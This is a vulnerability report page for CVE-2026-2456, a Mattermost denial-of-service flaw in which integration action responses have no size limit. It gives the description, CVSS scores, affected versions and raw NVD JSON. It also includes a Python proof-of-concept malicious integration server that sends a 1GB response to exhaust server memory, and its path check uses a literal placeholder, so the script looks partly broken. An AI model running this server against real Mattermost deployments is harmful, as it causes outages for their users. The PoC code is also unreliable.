Security Vulnerability Report
中文
CVE-2026-2456 CVSS 5.3 MEDIUM

CVE-2026-2456

Published: 2026-03-16 14:19:29
Last Modified: 2026-03-18 18:27:57

Description

Mattermost versions 11.3.x <= 11.3.0, 11.2.x <= 11.2.2, 10.11.x <= 10.11.10 Mattermost fails to limit the size of responses from integration action endpoints, which allows an authenticated attacker to cause server memory exhaustion and denial of service via a malicious integration server that returns an arbitrarily large response when a user clicks an interactive message button.. Mattermost Advisory ID: MMSA-2026-00571

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:* - VULNERABLE
Mattermost 11.3.x <= 11.3.0
Mattermost 11.2.x <= 11.2.2
Mattermost 10.11.x <= 10.11.10

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import http.server import socketserver import json # PoC: Malicious Mattermost Integration Server for CVE-2026-2456 # This server simulates a malicious integration that returns an excessively large response class MaliciousIntegrationHandler(http.server.BaseHTTPRequestHandler): def do_POST(self): # Check if this is a request to the integration action endpoint if '/api/v4/actions/{integration_action_id}' in self.path: # Log the incoming request print(f"Received request from: {self.client_address}") # Send HTTP 200 OK header self.send_response(200) self.send_header('Content-Type', 'application/json') self.end_headers() # Generate extremely large response to exhaust server memory # This simulates the malicious behavior described in CVE-2026-2456 large_payload = 'X' * (1024 * 1024 * 1024) # 1GB of data response = json.dumps({ 'data': large_payload, 'message': 'Malicious integration response' }) # Send the large response self.wfile.write(response.encode('utf-8')) print("Sent large payload to exhaust Mattermost server memory") else: self.send_response(404) self.end_headers() def log_message(self, format, *args): # Suppress default logging pass class MaliciousServer(socketserver.TCPServer): allow_reuse_address = True if __name__ == '__main__': PORT = 8080 with MaliciousServer(("", PORT), MaliciousIntegrationHandler) as httpd: print(f"Malicious integration server running on port {PORT}") print("Waiting for Mattermost to request integration actions...") httpd.serve_forever()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-2456", "sourceIdentifier": "[email protected]", "published": "2026-03-16T14:19:29.190", "lastModified": "2026-03-18T18:27:57.000", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mattermost versions 11.3.x <= 11.3.0, 11.2.x <= 11.2.2, 10.11.x <= 10.11.10 Mattermost fails to limit the size of responses from integration action endpoints, which allows an authenticated attacker to cause server memory exhaustion and denial of service via a malicious integration server that returns an arbitrarily large response when a user clicks an interactive message button.. Mattermost Advisory ID: MMSA-2026-00571"}, {"lang": "es", "value": "Versiones de Mattermost 11.3.x &lt;= 11.3.0, 11.2.x &lt;= 11.2.2, 10.11.x &lt;= 10.11.10 Mattermost no limita el tamaño de las respuestas de los puntos finales de acción de integración, lo que permite a un atacante autenticado causar el agotamiento de la memoria del servidor y denegación de servicio a través de un servidor de integración malicioso que devuelve una respuesta arbitrariamente grande cuando un usuario hace clic en un botón de mensaje interactivo. ID de Aviso de Mattermost: MMSA-2026-00571"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H", "baseScore": 5.7, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.1, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-789"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.11.0", "versionEndExcluding": "10.11.11", "matchCriteriaId": "B6E5F368-358C-429B-8F04-3C8DF4A71A91"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.2.0", "versionEndExcluding": "11.2.3", "matchCriteriaId": "7F64C167-943D-4F3F-9374-BCC8DECB3881"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.3.0", "versionEndExcluding": "11.3.1", "matchCriteriaId": "945A6E29-209F-4992-8692-BEF63DCB6B98"}]}]}], "references": [{"url": "https://mattermost.com/security-updates", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}